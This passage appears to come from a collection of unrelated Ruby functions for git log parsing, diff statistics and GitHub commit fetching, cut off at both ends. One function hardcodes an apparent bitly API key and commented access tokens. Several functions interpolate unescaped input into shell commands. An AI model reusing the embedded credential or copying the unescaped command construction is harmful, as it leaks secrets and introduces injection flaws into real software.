{|l|\n if l==\"SHOW_PATCH\"\n (patch+[\"{: .diff}\\n\"]).join(\"\\n\")\n else\n l\n end\n }\n series = tags[commit].slice(-2..-1)\n markdowns[filename] << \"\\n#{tags[commit]}: [view on github](#{@commit_link_base}#{commit}), [download #{series}-#{shortlog}.patch](#{@patch_link_base}/#{series}-#{shortlog}.patch)\\n{: .commit}\\n\"\n end\n \n message=[\"\\n\"]\n patch=[]\n\n commit = words[1]\n state = :message\n elsif [\"Author:\", \"Date:\", \"new\", \"index\", \"---\", \"+++\", '\\\\'].include?(words[0])\n # chomp\n elsif words[0]==\"diff\"\n state = :patch\n left = words[2].slice(2..-1)\n right = words[3].slice(2..-1)\n if left==right\n patch << \" ::: #{right}\"\n else\n patch << \" ::: #{left} -> #{right}\"\n end\n elsif words[0]==\"@@\"\n # git tries to put the function or class name after @@. This\n # works great for C diffs, but it only finds the class name in\n # Ruby, which is usually similar to the file name, Therefore\n # it's distracting cruft. Toss it.\n patch << \" #{words.slice(0,4).join(\" \")}\"\n else\n message << \"#{line.slice(4..-1)}\" if state==:message\n patch << \" #{line}\" if state==:patch \n end\n }\n output = {}\n markdowns.each do |fn, markdown|\n output[fn] = markdown.join(\"\\n\")\n Rails.logger.info(output[fn]) if respond_to? :Rails\n end\n return output\n end", "def pr_stats(pr)\n pr_id = pr[:id]\n raw_commits = commit_entries(pr_id)\n result = Hash.new(0)\n\n def file_count(commits, status)\n commits.map do |c|\n c['files'].reduce(Array.new) do |acc, y|\n if y['status'] == status then acc << y['filename'] else acc end\n end\n end.flatten.uniq.size\n end\n\n def files_touched(commits)\n commits.map do |c|\n c['files'].map do |y|\n y['filename']\n end\n end.flatten.uniq.size\n end\n\n def file_type(f)\n lang = Linguist::Language.find_by_filename(f)\n if lang.empty? then :data else lang[0].type end\n end\n\n def file_type_count(commits, type)\n commits.map do |c|\n c['files'].reduce(Array.new) do |acc, y|\n if file_type(y['filename']) == type then acc << y['filename'] else acc end\n end\n end.flatten.uniq.size\n end\n\n def lines(commit, type, action)\n commit['files'].select do |x|\n next unless file_type(x['filename']) == :programming\n\n case type\n when :test\n true if test_file_filter.call(x['filename'])\n when :src\n true unless test_file_filter.call(x['filename'])\n else\n false\n end\n end.reduce(0) do |acc, y|\n diff_start = case action\n when :added\n \"+\"\n when :deleted\n \"-\"\n end\n\n acc += unless y['patch'].nil?\n y['patch'].lines.select{|x| x.start_with?(diff_start)}.size\n else\n 0\n end\n acc\n end\n end\n\n raw_commits.each{ |x|\n next if x.nil?\n result[:lines_added] += lines(x, :src, :added)\n result[:lines_deleted] += lines(x, :src, :deleted)\n result[:test_lines_added] += lines(x, :test, :added)\n result[:test_lines_deleted] += lines(x, :test, :deleted)\n }\n\n result[:files_added] += file_count(raw_commits, \"added\")\n result[:files_removed] += file_count(raw_commits, \"removed\")\n result[:files_modified] += file_count(raw_commits, \"modified\")\n result[:files_touched] += files_touched(raw_commits)\n\n result[:src_files] += file_type_count(raw_commits, :programming)\n result[:doc_files] += file_type_count(raw_commits, :markup)\n result[:other_files] += file_type_count(raw_commits, :data)\n\n result\n end", "def pr_stats(pr_id)\n\n raw_commits = commit_entries(pr_id)\n result = Hash.new(0)\n\n def file_count(commits, status)\n commits.map do |c|\n c['files'].reduce(Array.new) do |acc, y|\n if y['status'] == status then acc << y['filename'] else acc end\n end\n end.flatten.uniq.size\n end\n\n def files_touched(commits)\n commits.map do |c|\n c['files'].map do |y|\n y['filename']\n end\n end.flatten.uniq.size\n end\n\n def file_type(f)\n lang = Linguist::Language.detect(f, nil)\n if lang.nil? then :data else lang.type end\n end\n\n def file_type_count(commits, type)\n commits.map do |c|\n c['files'].reduce(Array.new) do |acc, y|\n if file_type(y['filename']) == type then acc << y['filename'] else acc end\n end\n end.flatten.uniq.size\n end\n\n def lines(commit, type, action)\n commit['files'].select do |x|\n next unless file_type(x['filename']) == :programming\n\n case type\n when :test\n true if test_file_filter.call(x['filename'])\n when :src\n true unless test_file_filter.call(x['filename'])\n else\n false\n end\n end.reduce(0) do |acc, y|\n diff_start = case action\n when :added\n \"+\"\n when :deleted\n \"-\"\n end\n\n acc += unless y['patch'].nil?\n y['patch'].lines.select{|x| x.start_with?(diff_start)}.size\n else\n 0\n end\n acc\n end\n end\n\n raw_commits.each{ |x|\n next if x.nil?\n result[:lines_added] += lines(x, :src, :added)\n result[:lines_deleted] += lines(x, :src, :deleted)\n result[:test_lines_added] += lines(x, :test, :added)\n result[:test_lines_deleted] += lines(x, :test, :deleted)\n }\n\n result[:files_added] += file_count(raw_commits, \"added\")\n result[:files_removed] += file_count(raw_commits, \"removed\")\n result[:files_modified] += file_count(raw_commits, \"modified\")\n result[:files_touched] += files_touched(raw_commits)\n\n result[:src_files] += file_type_count(raw_commits, :programming)\n result[:doc_files] += file_type_count(raw_commits, :markup)\n result[:other_files] += file_type_count(raw_commits, :data)\n\n result\n end", "def getChangesOfCommit(commit_id = false)\n my_commit = ((commit_id == false and @repo.commits.size > 0) ? @repo.commits.first : @repo.commit(commit_id))\n if my_commit == nil\n return false\n end\n \n # get list of changed files and parse it\n @filelist = Hash.new\n options = {:r => true, :name_status => true, :no_commit_id => true}\n if @repo.commit(my_commit.sha).parents[0] == nil # if my_commit is the first commit\n options[:root] = true\n end\n changed_files_list = @git.diff_tree(options, my_commit.id).strip\n if changed_files_list.class == String and changed_files_list.length > 0\n changed_files_list.split(\"\\n\").each do |f|\n commit = my_commit\n operation = f[0,1] # D/M/A\n filepath = f[2..-1] # path+filename\n path = \"/\" + filepath.match(/^.+\\//).to_s # just path\n status = \"created\"\n if operation =~ /^D$/i # deleted\n # the file was deleted, so get the blob from the parent-commit\n commit = @repo.commit(my_commit.parents[0].sha)\n status = \"deleted\"\n elsif operation =~ /^M$/i # modified\n status = \"updated\"\n end\n blob = commit.tree/(filepath)\n\n #name = filepath.gsub(path[1..-1], '') #blob.name\n path = path.gsub(/\\/private\\/[0-9]+\\//,'')\n \n \n \n @filelist[\"/\" + filepath] = {\"uploaded\" => '1', \"status\" => status, \"blob_hash\" => blob.id, \"name\" => blob.name, \"path\" => \"/#{path}\", \"size\" => blob.size, \"filetype\" => blob.mime_type, \"filedate\" => @repo.commit(commit.sha).date.strftime('%T %F').to_s}\n \n \n end\n end\n\n if @filelist.size > 0\n return @filelist\n else\n return false\n end\n end", "def repo_commits(repos)\n repos_commits = []\n repos.each do |repo|\n repos_commits << HTTParty.get(repo[\"commits_url\"].gsub(\"{/sha}\", \"\"))[0]\n end\n repos_commits\nend", "def get_files_modified\r\n\tgit_result = IO.popen('git status -u --porcelain').read\r\n\tgit_result.split(/[\\r\\n]+/).uniq.map!{|file| file.slice 3..-1}\r\nend", "def file_revisions(file)\n file = file.gsub(%r{^/}, '')\n output = sh_string(\"git log --format='%h|%s|%aN|%ai' -n100 #{ShellTools.escape(file)}\")\n output.to_s.split(\"\\n\").map do |log_result|\n commit, subject, author, date = log_result.split('|')\n date = Time.parse(date.sub(' ', 'T')).utc.iso8601\n { commit: commit, subject: subject, author: author, date: date }\n end\n end", "def get_existing_commits!\n release_meta_paths = Dir.glob(\"#{RELEASE_META_DIR}/*.toml\").to_a\n\n release_meta_paths.collect do |release_meta_path|\n contents = File.read(release_meta_path)\n parsed_contents = TomlRB.parse(contents)\n release_hash = parsed_contents.fetch(\"releases\").values.fetch(0)\n release_hash.fetch(\"commits\").collect do |c|\n message_data = parse_commit_message!(c.fetch(\"message\"))\n\n {\n \"sha\" => c.fetch(\"sha\"),\n \"message\" => c.fetch(\"message\"),\n \"author\" => c.fetch(\"author\"),\n \"date\" => c.fetch(\"date\"),\n \"pr_number\" => message_data.fetch(\"pr_number\"),\n \"files_count\" => c[\"files_count\"],\n \"insertions_count\" => c[\"insertions_count\"],\n \"deletions_count\" => c[\"deletions_count\"]\n }\n end\n end.flatten\nend", "def extract_change_count_from_git_log(log_text)\n lines = log_text.split(\"\\n\" )\n change_lines=lines.find_all do | line |\n line.include?('changed')\n end\n change_lines.length\nend", "def get_changed_file_list\n command = \"git log -m -1 --name-only --pretty='format:' $(git rev-parse origin/master)\"\n file_paths = []\n features = {}\n features.compare_by_identity\n\n Open3.popen3(command) do |stdin, stdout, stderr|\n files = stdout.read.gsub! \"\\n\", \",\"\n file_paths = files.split(\",\")\n puts \"Found files:\\n#{file_paths}\"\n end\n\n puts \"Count files in push: #{file_paths.count}\"\n\n file_paths.each do |file_path|\n if file_path.include?(\".feature\")\n puts \"Added: #{file_path}\"\n folder = get_name_folder_from_path file_path\n features.store(folder, file_path)\n end\n end\n\n puts \"\\n\"\n puts \"Count feature files: #{features.count}\"\n features.sort\nend", "def get_change_info(filepath)\n info = Hash::new\n info['filepath'] = filepath #[todo] get only filepath\n p \"==========\"\n p \"patch file: \" + filepath\n begin\n # puts \"patch file: \" + filepath\n File.foreach(filepath) do |line|\n # p \"***\" + line\n line.strip!\n #p line.match(/From ([a-z|0-9]+)/)\n if str = line.match(/^From ([a-z|0-9]+)/)\n info['commit-id'] = str[1]\n elsif str = line.match(/^Change-Id: ([a-z|A-Z|0-9]+)/)\n info['Change-Id'] = str[1]\n elsif str = line.match(/^Subject: (.+)$/)\n info['Subject'] = str[1]\n subject = str[1]\n info['comment'] = str[1]\n end\n end\n rescue SystemCallError => e\n puts %Q(class=[#{e.class}] message=[#{e.message}])\n end\n return info\n end", "def num_commits(lines)\n num = 0 \n lines.each { |line|\n words = line.split\n if words[0] == \"commit\" then num+= 1 end\n }\n num\nend", "def altered_files; `git show --name-only #{node} 2> /dev/null`.split(\"\\n\"); end", "def ExtractInfoFromFileContents file_contents\ndata = file_contents.split('|')\n# Remove the first line\n# Remove the project_name from data\n# Remove the line below project_name\ndata = data.drop(3)\n\n# Now, everything is in 3-tuple <key, value, \"\\n\">\ndata.shift\nproject_name = data.first\nproject_name = project_name.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nrepo_url = data.first\nrepo_url = repo_url.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nhead_sha = data.first\nhead_sha = head_sha.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nnum_commits = data.first\nnum_commits = num_commits.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nnum_merges = data.first\nnum_merges = num_merges.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nreverts_msg = data.first\nreverts_msg = reverts_msg.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nreverts_complete = data.first\nreverts_complete = reverts_complete.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\nreverts_partial = data.first\nreverts_partial = reverts_partial.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\ncps_complete = data.first\ncps_complete = cps_complete.gsub(/\\s+/, \"\")\ndata = data.drop(3)\n\ncps_partial = data.first\ncps_partial = cps_partial.gsub(/\\s+/, \"\")\ndata = data.drop(2)\n\nproject_name_repo_url_head_sha_combined = project_name + \"\\n\" + repo_url + \"\\n\" + head_sha\nreturn [project_name_repo_url_head_sha_combined, num_commits, num_merges, reverts_msg, reverts_complete, reverts_partial, cps_complete, cps_partial]\n\nend", "def list_file_changed\n content = \"Files changed since last deploy:\\n\"\n IO.popen('find * -newer _last_deploy.txt -type f') do |io| \n while (line = io.gets) do\n filename = line.chomp\n if user_visible(filename) then\n content << \"* \\\"#{filename}\\\":{{site.url}}/#{file_change_ext(filename, \".html\")}\\n\"\n end\n end\n end \n content\nend", "def diff_files(commit)\n cache_key = [\n GITALY_TIMEOUT_CACHE_KEY,\n commit.project.id,\n commit.cache_key\n ].join(':')\n\n return [] if Rails.cache.read(cache_key).present?\n\n begin\n commit.diffs.diff_files\n rescue GRPC::DeadlineExceeded => error\n # Gitaly fails to load diffs consistently for some commits. The other information\n # is still valuable for Jira. So we skip the loading and respond with a 200 excluding diffs\n # Remove this when https://gitlab.com/gitlab-org/gitaly/-/issues/3741 is fixed.\n Rails.cache.write(cache_key, 1, expires_in: GITALY_TIMEOUT_CACHE_EXPIRY)\n Gitlab::ErrorTracking.track_exception(error)\n []\n end\n end", "def get_commit_stats(sha)\n `git show --shortstat --oneline #{sha}`.split(\"\\n\").last\nend", "def digestFile(filename)\n\tfh = File.open(filename)\n\tarray = String.new\n\tpreparse = true\n\tfh.each_line do |line|\n\t\tif preparse\n\t\t\tif line =~ /\\{/\n\t\t\t\tpreparse = false\n\t\t\t\tarray << line\n\t\t\tend\n\t\telse\n\t\t\t#Sub numberlongs\n\t\t\tif line.include? \"NumberLong\\(\"\n\t\t\t\tline.slice!(/NumberLong\\(/)\n\t\t\t\tline.slice!(/\\)/)\n\t\t\tend\n\n\t\t\t#ObjectId(\"4ef4af0963389003f300c2e7\"),\n\t\t\tif line.include? \"ObjectId\"\n\t\t\t\tline = line.gsub(\"ObjectId\\(\\\"\", \"\\\"ObjectId\\(\")\n\t\t\t\tline = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n\t\t\tend\n\n\t\t\t#Timestamp(10000, 27),\n\t\t\tif line.include? \": Timestamp\\(\"\n\t\t\t\tline = line.gsub(\"Timestamp\\(\", \"\\\"Timestamp\\(\")\n\t\t\t\tline = line.gsub(\"\\)\", \"\\)\\\"\")\n\t\t\tend\n\t\t\t#ISODate(\"2012-01-26T00:00:00Z\")\n\t\t\tif line.include? \": ISODate\\(\\\"\"\n\t\t\t\tline = line.gsub(\"ISODate\\(\\\"\", \"\\\"ISODate\\(\")\n\t\t\t\tline = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n\t\t\tend\n #BinData\n if line.include? \": BinData\\(\"\n line = line.gsub(\"BinData\\(\", \"\\\"BinData\\(\")\n line = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n line = line.gsub(\",\\\"\", \",\")\n end\n if line.include? \"\\\" : \\/\"\n line = line.gsub(\"\\\" : \\/\", \"\\\" : \\\"\\/\")\n line = line.gsub(\"\\/,\", \"\\/\\\",\")\n end\n\t\t\tif line !~ /bye/\n\t\t\t array << line\n\t\t\tend\n\t\tend\n\tend\n\tfh.close\n\tdoc = Yajl::Parser.parse(array)\n\treturn doc\nend", "def get_module_info(mod)\n pull_url = \"https://api.github.com/repos/puppetlabs/puppetlabs-#{mod.name}/issues?state=open&access_token=AUTHTOKEN\"\n response = HTTParty.get pull_url#, :headers=>{\"Authorization\"=>\"Token token=\\\"AUTHTOKEN\\\"\", \"User-Agent\"=>\"craig.gomes\"}\n\n\n json = JSON.parse(response.body)\n ticket_count = get_ticket_count_for_module(mod.name)\n component_count = get_component_count_for_module(mod.name)\n p mod.name\n return [\"#{mod.name}\", \"#{json.length}\",\"#{ticket_count}\",\"#{component_count}\",\"#{mod.supported}\", \"#{mod.homepage_url}\"]\n \nend", "def get_data\n @training_bad, @testing_bad = extract_commits('data/bad_commits/')\n @training_good, @testing_good = extract_commits('data/good_commits/')\n end", "def process_file_versions(json)\n dig_f = {}\n unless json['file_versions'].blank?\n embed_caption = ''\n rep_caption = ''\n json['file_versions'].each do |version|\n version['file_uri'].strip!\n if version.dig('publish') != false && (version['file_uri'].start_with?('http') ||\n version['file_uri'].start_with?('data:'))\n\n if version.dig('xlink_show_attribute') == 'embed'\n dig_f['thumb'] = version['file_uri']\n dig_f['represent'] = 'embed' if version['is_representative']\n # For an embedded file version, if the caption is empty,\n # 1. set the embed_caption to the title\n # 2. set the rep_caption to the title if it is a representative version\n if version['caption'].blank?\n embed_caption = version['title']\n rep_caption = version['title'] if version['is_representative']\n else\n # For an embedded file version, if the caption is not empty,\n # 1. set the embed_caption to the caption\n # 2. set the rep_caption to the caption if it is a representative version\n embed_caption = version['caption']\n rep_caption = version['caption'] if version['is_representative']\n end\n else\n dig_f['represent'] = 'new' if version['is_representative']\n dig_f['out'] = version['file_uri'] if version['file_uri'] != (dig_f['out'] || '')\n # if the caption is empty set the rep_caption to the title\n if version['caption'].blank?\n rep_caption = version['title']\n else\n # if the caption is not empty set the rep_caption to the caption\n rep_caption = version['caption']\n end\n end\n elsif !version['file_uri'].start_with?('http')\n Rails.logger.debug(\"****BAD URI? #{version['file_uri']}\")\n end\n end\n end\n # Use the representative caption for the caption in the PUI if there is a\n # representative caption\n if !rep_caption.blank?\n dig_f['caption'] = rep_caption\n elsif !embed_caption.blank?\n # Use the embed caption for the caption in the PUI if there is isn't a\n # representative caption but there is an embedded caption\n dig_f['caption'] = rep_caption\n end\n dig_f\n end", "def posts\n return @posts if defined? @posts\n\n diffable_files = `git diff -z --name-only --diff-filter=ACRTUXB origin/master -- content/changes/`.split(\"\\0\")\n\n @posts = diffable_files.select do |filename|\n ext = File.extname(filename)\n ext == \".md\" || ext == \".html\"\n end\nend", "def load_ref_commits(ref)\n commits = []\n page = 1\n begin\n loop do\n commits += Octokit.commits(@path, ref, :page => page)\n page += 1\n end\n rescue Octokit::NotFound, Faraday::Error::ResourceNotFound\n end\n commits\n end", "def log_commits_by_files(logopts=nil)\n\t\t\tr={}\n\t\t\tfiles=run_simple(\"git log #{DefaultLogOptions} --name-only --format=\"\" #{logopts}\", chomp: :lines)\n\t\t\tuniq=files.uniq\n\t\t\tuniq.each do |file|\n\t\t\t\tr[file]=files.count(file)\n\t\t\tend\n\t\t\tr\n\t\tend", "def git_modified_files_info()\n modified_files_info = Hash.new\n updated_files = (git.modified_files - git.deleted_files) + git.added_files\n updated_files.each {|file|\n modified_lines = git_modified_lines(file)\n modified_files_info[File.expand_path(file)] = modified_lines\n }\n modified_files_info\n end", "def diffs_to_api\n return @diffs_to_api if @diffs_to_api\n @diffs_to_api = []\n\n diffs.each do |diff|\n path = diff.delta.new_file[:path]\n # Presumably only the first commit\n next if path.split('.').first.to_s.downcase == \"readme\"\n\n lines = []\n diff.each_hunk.each do |hunk|\n lines += hunk.lines\n end\n\n html = OutputRenderer.diff(lines)\n status = diff.delta.status\n\n @diffs_to_api << {\n status: status,\n path: path,\n html: html,\n content: @repo.lookup(diff.delta.new_file[:oid]).content\n }\n\n end\n\n @diffs_to_api\n end", "def update_commitlist(h)\n h.map do |entry|\n sha = entry[\"commit\"].to_s.strip\n n = entry[\"note\"]\n # First, try to look it up in our existing repo\n if commit_exists?(sha) || sha.empty?\n entry # do nothing, put it back in the hash\n else\n # Ok, we know it doesn't exist. Now look it up in gitlog.json\n if @gitlog_json.key? sha\n m = @gitlog_json[sha][\"message\"]\n svn_id = m.lines.select {|l| l.match? /git-svn-id/ }.join.strip\n grep_cmd = <<~EOS.strip\n git -C ./tmp/src rev-list --all --grep=\"#{svn_id}\" --\n EOS\n stdout, stderr, status = Open3.capture3(grep_cmd)\n if stderr.empty?\n {\n \"commit\" => stdout.strip,\n \"note\" => <<~EOS.strip\n #{entry[\"note\"].to_s.lines.join(\"\\n\")}\n\n Formerly #{sha} before HTTPD rewrote Git history.\n EOS\n }\n else\n warn \"ERROR getting commit #{sha}. #{stderr}\"\n entry\n end\n else\n warn \"ERROR commit #{sha} does not exist in gitlog.json\"\n entry\n end\n end\n end\nend", "def parse_entries\n @time_cache ||= {}\n\n if /\\A((?:.*\\n){,3})commit\\s/ =~ @content\n class << self; prepend Git; end\n parse_info($1)\n return parse_entries\n end\n\n entries = []\n entry_name = nil\n entry_body = []\n\n @content.each_line do |line|\n case line\n when /^\\s*$/ then\n next\n when /^\\w.*/ then\n entries << [entry_name, entry_body] if entry_name\n\n entry_name = $&\n\n begin\n time = parse_date entry_name\n @time_cache[entry_name] = time\n rescue ArgumentError\n entry_name = nil\n end\n\n entry_body = []\n when /^(\\t| {8})?\\*\\s*(.*)/ then # \"\\t* file.c (func): ...\"\n entry_body << $2.dup\n when /^(\\t| {8})?\\s*(\\(.*)/ then # \"\\t(func): ...\"\n entry = $2\n\n if entry_body.last =~ /:/ then\n entry_body << entry.dup\n else\n continue_entry_body entry_body, entry\n end\n when /^(\\t| {8})?\\s*(.*)/ then\n continue_entry_body entry_body, $2\n end\n end\n\n entries << [entry_name, entry_body] if entry_name\n\n entries.reject! do |(entry,_)|\n entry == nil\n end\n\n entries\n end", "def recent_commit_shas count\n array_output_of(\"git rev-list HEAD -n #{count}\").reverse\nend", "def commits_on_pr_files(pr, months_back)\n\n oldest = Time.at(Time.at(pr[:created_at]).to_i - 3600 * 24 * 30 * months_back)\n commits = commit_entries(pr, at_open = true)\n\n commits_per_file = commits.flat_map { |c|\n unless c[:files].nil?\n JSON.parse(c[:files]).map { |f|\n [c[:sha], f[\"filename\"]]\n }\n else\n []\n end\n }.select{|x| x.size > 1}.group_by {|c|\n c[1]\n }\n\n commits_per_file.keys.reduce({}) do |acc, filename|\n commits_in_pr = commits_per_file[filename].map{|x| x[0]} # get the shas of pr related commits\n\n walker = Rugged::Walker.new(git)\n walker.sorting(Rugged::SORT_DATE)\n walker.push(pr[:base_commit])\n\n commit_list = walker.select do |c|\n c.time > oldest\n end.reduce([]) do |acc1, c|\n if c.diff(paths: [filename.to_s]).size > 0 and\n not commits_in_pr.include? c.oid # (oid is the object id - c.oid gets the commit sha). this commit is not part of pr's commits\n acc1 << c.oid\n end\n acc1\n end\n acc.merge({filename => commit_list})\n end\n end", "def report_files_with_subtitles_that_require_review(options)\n if config.setting(:is_primary_repo)\n raise \"This command can only be used in foreign repos.\"\n end\n\n fwstrr = {\n subtitles_not_exported: {\n st_ops_and_content_changes: [],\n content_changes_only: [],\n autosplit: []\n },\n subtitles_exported: []\n }\n files_found_count = 0\n total_file_count = 0\n\n Repositext::Cli::Utils.read_files(\n config.compute_glob_pattern(\n options['base-dir'] || :content_dir,\n options['file-selector'] || :all_files,\n options['file-extension'] || :json_extension\n ),\n /\\.data\\.json\\z/,\n nil,\n \"Reading data.json files\",\n options\n ) do |data_json_file|\n total_file_count += 1\n fd = data_json_file.read_data\n filename = data_json_file.filename\n subtitles_have_been_exported = '' != fd['exported_subtitles_at_st_sync_commit'].to_s.strip\n st_tr = (fd['st_sync_subtitles_to_review'] || {})\n next if st_tr.none?\n st_tr_keys = st_tr.keys\n st_tr_cnt = st_tr_keys.count\n desc = nil\n if subtitles_have_been_exported\n # No further distinction required\n files_found_count += 1\n if st_tr.any? { |e| ['all', ['autosplit']] == e }\n # all sts need to be reviewed, don't print details\n fwstrr[:subtitles_exported] << [filename, 'all', []]\n else\n # only some sts need to be reviewed, print details\n # Add subtitle index + type of change to this file group\n # st_tr: { \"6938579\" => [\"content_change\"], \"2756941\" => [\"content_change\"] }\n subtitles = data_json_file.corresponding_content_at_file.subtitles\n st_tr_attrs = st_tr.map { |stid, ops|\n st = subtitles.detect { |e| stid == e.persistent_id }\n # st may not exist if it was deleted via merge or delete operation.\n idx = ((st && st.tmp_index) || '[N/A]').to_s.rjust(5, ' ')\n { index: idx, operations: ops.join(', ') }\n }\n fwstrr[:subtitles_exported] << [filename, st_tr_cnt, st_tr_attrs]\n end\n desc = \" - subtitles have been exported, has #{ st_tr_cnt } subtitles to review\".color(:blue)\n else\n # subtitles have not been exported, further distinguish kinds of changes\n if data_json_file.is_autosplit?\n # This file is autosplit\n files_found_count += 1\n fwstrr[:subtitles_not_exported][:autosplit] << [filename, 'all']\n desc = \" - subtitles have not been exported, was autosplit\".color(:blue)\n elsif st_tr.all? { |stid,ops| ops.all? { |op| 'content_change' == op } }\n # content_changes only\n files_found_count += 1\n fwstrr[:subtitles_not_exported][:content_changes_only] << [filename, st_tr_cnt]\n desc = \" - subtitles have not been exported, #{ st_tr_cnt } content_changes to review\".color(:blue)\n else\n # st ops and content_changes\n files_found_count += 1\n # Add subtitle index + type of change to this file group\n # st_tr: { \"6938579\" => [\"content_change\"], \"2756941\" => [\"content_change\"] }\n subtitles = data_json_file.corresponding_content_at_file.subtitles\n st_tr_attrs = st_tr.map { |stid, ops|\n st = subtitles.detect { |e| stid == e.persistent_id }\n # st may not exist if it was deleted via merge or delete operation.\n idx = ((st && st.tmp_index) || '[N/A]').to_s.rjust(5, ' ')\n { index: idx, operations: ops.join(', ') }\n }\n fwstrr[:subtitles_not_exported][:st_ops_and_content_changes] << [filename, st_tr_cnt, st_tr_attrs]\n desc = \" - subtitles have not been exported, #{ st_tr_cnt } st_ops and content_changes to review\".color(:blue)\n end\n end\n $stderr.puts desc\n end\n if files_found_count > 0\n $stderr.puts \"\\nThe following #{ files_found_count } files have subtitles requiring review\".color(:blue)\n $stderr.puts '-' * 80\n if(fs = fwstrr[:subtitles_not_exported][:st_ops_and_content_changes]).any?\n $stderr.puts \" With st ops (subtitles not exported yet):\".color(:blue)\n fs.each { |(fn, cnt, sts_tr)|\n $stderr.puts \" * #{ fn } (#{ cnt })\"\n sts_tr.each { |st_tr|\n $stderr.puts \" - index #{ st_tr[:index] }: #{ st_tr[:operations] }\"\n }\n }\n end\n if(fs = fwstrr[:subtitles_not_exported][:content_changes_only]).any?\n $stderr.puts \" With content_changes (subtitles not exported yet):\".color(:blue)\n fs.each { |(fn, cnt)| $stderr.puts \" * #{ fn } (#{ cnt })\" }\n end\n if(fs = fwstrr[:subtitles_not_exported][:autosplit]).any?\n $stderr.puts \" Autosplit (subtitles not exported yet):\".color(:blue)\n fs.each { |(fn, cnt)| $stderr.puts \" * #{ fn } (#{ cnt })\" }\n end\n if(fs = fwstrr[:subtitles_exported]).any?\n $stderr.puts \" Subtitles already exported:\".color(:blue)\n # fs.each { |(fn, cnt)| $stderr.puts \" * #{ fn } (#{ cnt })\" }\n fs.each { |(fn, cnt, sts_tr)|\n $stderr.puts \" * #{ fn } (#{ cnt })\"\n sts_tr.each { |st_tr|\n $stderr.puts \" - index #{ st_tr[:index] }: #{ st_tr[:operations] }\"\n }\n }\n end\n $stderr.puts\n end\n end", "def recent_commits\n\n return \"\" if !installation_selected?\n\n installation_id = session[:selected_installation]\n # installation_token = get_app_token(installation_id)\n\n @client = Octokit::Client.new(:access_token => session[:access_token])\n response = @client.find_installation_repositories_for_user(installation_id)\n\n commits = response[:repositories]\n commits.take 15\nend", "def posts\n # diffable_files = `git status --porcelain | awk '!match($1, \"D\"){print $2}' | grep .md`.split(\"\\n\")\n diffable_files = `git diff --name-only --diff-filter=ACMRTUXB origin/master... | grep .md`.split(\"\\n\")\n\n posts = diffable_files.select do |filename|\n File.ctime(filename) > Time.new(2014,9,3)\n end\n\n posts\n end", "def get_clicks( file , ofile, format )\n File.open( file ) do |f|\n File.open( ofile, 'w' ) do |of|\n while line = f.gets\n #begin\n batch, id, hash, url =* line.split(/\\s+/)\n api_key = \"R_12855747ed682ddadbfdc9425eab0bb8\"\n #access_token = \"ed0f9b209a3cfbdac11e246afb9bb9581591a195\"#{}\"1f7683b87663b59c5417e60ab5a9b7f014bea063\"\n puts \"#{id}, #{hash}, #{url}\"\n api_url = \"curl https://api-ssl.bitly.com/v3/clicks?login=lifidea&apiKey=#{api_key}&shortUrl=#{url}\"\n #api_url = \"curl https://api-ssl.bitly.com/v3/clicks?access_token=#{access_token}&shortUrl=#{url}\"\n puts api_url\n content = `#{api_url}`#Net::HTTP.get(URI.parse(api_url))\n of.puts \"#{hash}\\t#{content.size}\\t#{url}\"\n #Dir.mkdir(format) if !File.exist?(format)\n File.open( \"clicks/#{hash}.#{format}\",'w'){|of2|of2.puts content}\n #rescue Exception => e\n # puts \"Error in [#{line}]\",e\n #end\n sleep(1)\n end\n end\n end\nend", "def changed_files_since_deploy\n if File.exists?(\"log/latest-REVISION-syntaxcheck\")\n revision = File.read(\"log/latest-REVISION-syntaxcheck\").chomp\n\n `git whatchanged #{revision}..HEAD`.split(\"\\n\").select{|l| l =~ /^\\:/}.collect {|l| l.split(\"\\t\")[1]}.sort.uniq\n else\n puts \"log/latest-REVISION-syntaxcheck not found. run 'cap fetch_currently_deployed_version' to get it\"\n []\n end\n end", "def git_revision\n puts \"Fetching the git revision\"\n\n _stdin, stdout, stderr, wait_thread = Open3.popen3(\"git rev-parse HEAD\")\n\n success = wait_thread.value.success?\n\n status = success ? Rack::ECG::Check::Status::OK : Rack::ECG::Check::Status::ERROR\n\n value = success ? stdout.read : stderr.read\n value = value.strip\n\n { name: :git_revision, status: status, value: value }\nend", "def changes\n @changes ||= JSON.parse(File.read(ARGV[1]))\nend", "def files_commits(num_commits)\n @repo = Grit::Repo.new(@directory)\n related_files = []\n commits_all(num_commits) do |commits|\n commits.each do |commit|\n paths = []\n begin\n commit.diffs.each do |diff|\n if diff.a_path != diff.b_path\n related_files += [[diff.a_path, diff.b_path]]\n end\n paths += [diff.a_path, diff.b_path]\n end\n rescue Grit::Git::GitTimeout\n puts \"Failed to diff for %s\" % commit.sha\n end\n paths.uniq!\n yield commit, paths, related_files\n end\n end\n end", "def file_listing(commit)\n # The only reason this doesn't work 100% of the time is because grit doesn't :/\n # if i find a fix, it'll go upstream :D\n count = 0\n out = commit.diffs.map do |diff|\n count = count + 1\n if diff.deleted_file\n %(<li class='file_rm'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n else\n cla = diff.new_file ? \"add\" : \"diff\"\n %(<li class='file_#{cla}'><a href='#file_#{count}'>#{diff.a_path}</a></li>)\n end\n end\n \"<ul id='files'>#{out.join}</ul>\"\n end", "def fetch_commit_hash_list()\n `git rev-list --all --reverse`.strip.split(/\\n/)\nend", "def fetch_git_commiter_details_from_file\n creds = {}\n contents = \"\"\n if File.exists?(@vagrant_git_commiter_details)\n File.open(@vagrant_git_commiter_details, 'r') do |f|\n while line = f.gets\n contents += line\n end\n end\n end\n if !contents.empty?\n creds = JSON.parse contents\n end\n return creds\n end", "def github_commit(owner, repo, sha)\n parent_dir = File.join('commits', \"#{owner}@#{repo}\")\n commit_json = File.join(parent_dir, \"#{sha}.json\")\n FileUtils::mkdir_p(parent_dir)\n\n r = nil\n if File.exists? commit_json\n r = begin\n JSON.parse File.open(commit_json).read\n rescue\n # This means that the retrieval operation resulted in no commit being retrieved\n {}\n end\n return r\n end\n\n url = 